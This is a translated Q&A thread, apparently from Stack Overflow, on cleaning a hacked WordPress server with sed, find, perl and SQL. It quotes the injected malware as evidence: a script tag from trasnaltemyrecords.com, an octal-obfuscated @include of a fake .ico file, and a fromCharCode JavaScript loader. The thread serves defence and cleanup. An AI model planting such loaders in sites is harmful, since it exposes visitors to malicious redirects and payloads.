Comment remplacer une chaîne entière en utilisant sed ou éventuellement grep


10

Donc, tout mon serveur a été piraté ou a rencontré un problème de malware. mon site est basé sur WordPress et la majorité des sites hébergés sur mon serveur est basé sur WordPress. Le pirate a ajouté cette ligne de code à chaque fichier et à la base de données

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

Je l'ai cherché via grep en utilisant

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

J'essaie de le remplacer dans toute la structure du fichier avec sedet j'ai écrit la commande suivante.

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

J'essaie de remplacer la chaîne sur un seul fichier d' index.phpabord, donc je sais que cela fonctionne.

et je sais que mon code est faux. S'il vous plait, j'ai besoin de votre aide avec ceci.

J'ai essayé avec le code @ Eran et il a supprimé toute la ligne, ce qui est bien et comme prévu. Cependant, le jargon total est le suivant

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

Et bien que je souhaite supprimer tout le contenu, je souhaite conserver la balise d'ouverture php <?php.

Bien que la solution de @ slybloty soit facile et a fonctionné.

afin de supprimer complètement le code de tous les fichiers concernés. J'exécute les 3 commandes suivantes, merci à vous tous pour cela.

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" - Pour supprimer la ligne de script
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'- Pour supprimer la @includeligne
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' - Pour supprimer la ligne de commentaire

De plus, j'ai exécuté à nouveau les 3 commandes pour '*.html', car le script du pirate a créé index.html indésirable dans tous les répertoires. Je ne savais pas si la suppression de ces index.html en bloc était la bonne approche.

maintenant, j'ai encore besoin de comprendre les fichiers indésirables et leurs traces.

Le script pirate a également ajouté le code JS.

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

J'essaie de voir si je le peux sedaussi.


Comment savez-vous que votre code est incorrect?
Bêta

Parce que, je l'ai exécuté et il continue de demander plus d'entrée dans la ligne suivante à comme `>`
Dilip Gupta

2
Ne pouvez-vous pas simplement supprimer la ligne? sed -i '/ trasnaltemyrecords / d'
Eran Ben-Natan

1
En outre, vous pouvez ajouter votre grep pour alimenter tous les fichiers avec cette ligne comme ceci: while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})" L' -loption fournit simplement le nom du fichier et non le texte correspondant.
Jason

1
Encore une chose ... Si vous adoptez cette approche, je profiterais du paramètre optionnel "back up" pour sed -i. Par exemple, sed -i.bakcrée un *.bakfichier pour tous les fichiers modifiés. Lorsqu'il est utilisé avec la while...grepboucle, vous ne sauvegarderez que les fichiers contenant cette chaîne. Désolé pour tous les commentaires supplémentaires, mais à mon avis, les logiciels malveillants sont un scénario «tout le monde sur le pont».
Jason

Réponses:


2

Utilisez des guillemets doubles ( ") pour la chaîne et n'échappez pas aux guillemets simples ( ') ni aux balises ( <>). N'échappez qu'aux barres obliques ( /).

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php

2

Quelle que soit la méthode que vous décidez d'utiliser avec sed, vous pouvez exécuter plusieurs processus simultanément sur plusieurs fichiers avec des options de filtrage parfaites avec findet xargs. Par exemple:

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

Ce sera:

  • find - trouver
  • -type f - uniquement les fichiers
  • -name '*.txt' - ça finit avec php
  • -print0 - les pritn séparés par zéro octet
  • | xargs -0 - pour chaque fichier séparé par zéro octet
  • -P7 - exécuter 7 processus simultanément
  • -n1 - pour chaque fichier
  • sed - pour chaque fichier exécuté sed
  • -i - éditer le fichier en place
  • '...' - le script sed que vous souhaitez exécuter à partir d'autres réponses.

Vous voudrez peut-être ajouter une -toption xargspour voir la progression. Voir man find (man args] ( http://man7.org/linux/man-pages/man1/xargs.1.html ).


2

Les guillemets simples sont pris littéralement sans caractères d'échappement. Dans var='hello\'', vous avez un devis non fermé.

Pour résoudre ce problème, 1) Utilisez des guillemets doubles pour entourer la sedcommande OU 2) Terminez la chaîne entre guillemets simples, ajoutez \'et rouvrez la chaîne de guillemets.

La deuxième méthode est cependant plus confuse.

En outre, sedpeut utiliser n'importe quel délimiteur pour séparer les commandes. Comme vous avez des barres obliques dans les commandes, il est plus facile d'utiliser des virgules. Par exemple, en utilisant la première méthode:

sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php

En utilisant la deuxième méthode:

sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php

Cet exemple est plus éducatif que pratique. Voici comment ça '\''marche:

Premièrement ': mettre fin à la chaîne littérale actuellement citée

\': Entrez un guillemet simple comme caractère littéral

Deuxièmement ': ressaisissez la chaîne littérale entre guillemets

Tant qu'il n'y aura pas d'espace, vous continuerez simplement votre sedcommande. Cette idée est unique à bash.

Je laisse les échappés <et >là-dedans parce que je ne suis pas tout à fait sûr de ce que vous utilisez pour cela. sedutilise le \<et \>pour signifier la correspondance des mots. Je ne sais pas si c'est intentionnel ou non.

Si cela ne correspond à rien, vous voudrez probablement éviter d'échapper au <et >.

Edit: Veuillez voir la solution de @ EranBen-Natan dans les commentaires pour une solution plus pratique au problème réel. Ma réponse est davantage une ressource expliquant pourquoi OP a été invité à entrer davantage de données avec sa commande d'origine.

Solution pour l'édition 2

Pour que cela fonctionne, je fais l'hypothèse que votre seda l'option non standard -z. La version GNU de seddevrait avoir ceci. Je fais également l'hypothèse que ce code apparaît toujours au format de 6 lignes

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"

Comment cela fonctionne: nous utilisons le début de la ligne fromCharCode pour tout faire correspondre. -zdivise le fichier sur null au lieu de nouvelles lignes. Cela nous permet de rechercher directement des sauts de ligne.

[^\n]*\n- Cela correspond à tout jusqu'à un saut de ligne, puis correspond au saut de ligne, en évitant la correspondance regex gourmande. Parce que nous ne divisons pas sur les sauts de ligne ( -z), l'expression régulière var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\ncorrespond à la plus grande correspondance possible. Par exemple, s'il \n}\napparaissait quelque part plus bas dans le fichier, vous supprimeriez tout le code entre celui-ci et le code malveillant. Ainsi, répéter cette séquence 6 fois nous correspond à la fin de la première ligne ainsi qu'aux 5 lignes suivantes.

grep -lr- Juste un récursif grepoù nous listons uniquement les fichiers qui ont le modèle correspondant. De cette façon, sedne modifie pas tous les fichiers. Sans cela, -i.bak(pas clair -i) ferait un gâchis.


Merci @Jason, je vais essayer votre méthode pour cela. Pour le moment, je n'ai pas d'option pour la sauvegarde. Je suis donc coincé avec le nettoyage.
Dilip Gupta

@DilipGupta Je suggère de sauvegarder où vous êtes maintenant. Vous pouvez utiliser quelque chose comme rsyncpour sauvegarder et restaurer.
Jason

Utilisez-vous adminer.php? semble infectable
Jiro Matchonson

1

Avez-vous installé le plugin wp-mail-smtp? Nous avons le même malware et nous avions quelque chose de bizarre wp-content/plugins/wp-mail-smtp/src/Debug.php.

En outre, le lien javascript se trouve dans chaque post_contentchamp de la wp_postsbase de données WordPress.


Oui, j'ai installé ce plugin et il est là comme vous l'avez dit. J'essaie de nettoyer d'abord, puis de renforcer la sécurité. Notez également que le pirate a installé le plug-in appelé super-socialat, vérifiez-le également.
Dilip Gupta

Qu'avez-vous trouvé exactement dans ce Debug.php, je n'y ai rien trouvé d'étrange mais peut-être qu'il est stocké dans un autre fichier, si vous fournissez une partie du code, je pourrais peut-être rechercher les fichiers s'il vous plaît? N'a pas trouvé de nouveau plugin installé.
Jiro Matchonson

1
Quel éditeur avez-vous utilisé? Si j'ouvre cela dans vim, je peux voir cette chose weid, mais pas dans nano ou un éditeur comme Geany .... imgur.com/a/wC9XAIy pastebin.com/Y39KEfDL
skuroedov

Salut, je regardais cela via winscp, mais maintenant j'ai également essayé vi, je n'ai toujours rien trouvé. Tnx beaucoup par exemple Ill tri pour le rechercher dans les fichiers.
Jiro Matchonson

D'après un peu de lumière, il semble que ce soit une instruction sql qui est écrite en utilisant les positions des lettres dans la variable $ GLOBALS ou quelque chose comme ça, donc elle ne peut pas être trouvée en recherchant simplement "trasnaltemyrecords" J'ai essayé de chercher grep -r "NULL ); @ $ "/ var / www / html / { ,. } ou autre chose mais n'a rien trouvé. Quoi qu'il en soit, j'avais un ancien adminer.php sur la page wordpress, ce qui pourrait également être la source de cette fuite, peut-être ..
Jiro Matchonson

0

J'ai la même chose aujourd'hui, tous les messages de la page ont ajouté ce script de virus méchant

<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>

Je l'ai désactivé de la base de données en

UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")

Je n'ai pas de fichiers infectés au moins

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

n'a rien trouvé, mais je ne sais pas comment cela est entré dans la base de données à partir de laquelle je ne suis pas du tout calme.

Cette infection a provoqué des redirections sur les pages, Chrome détecte et bloque principalement cela. N'a rien remarqué d'étrange dans - /wp-mail-smtp/src/Debug.php


Je suppose que cela est lié à une partie de la rupture du plugin et le pirate a eu accès par la porte arrière au site.
Dilip Gupta

Mais quel plugin, 2 hous ont passé et tout est de retour à nouveau redirigé
Jiro Matchonson

0

J'ai la même chose aujourd'hui, tous les messages de la page ont ajouté le script. J'ai réussi à les gérer avec succès en utilisant https://en.wordpress.org/plugins/search-and-replace/ plugin.

De plus, j'ai également trouvé un enregistrement dans la table wp_posts de la colonne post_content en suivant la chaîne:

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

et l'a supprimé manuellement.


0

Pour moi, cela a fonctionné:

    find ./ -type f -name '*.js' |  xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

Vous devez rechercher: * .js, * .json, * .map

En utilisant notre site, vous reconnaissez avoir lu et compris notre politique liée aux cookies et notre politique de confidentialité.
Licensed under cc by-sa 3.0 with attribution required.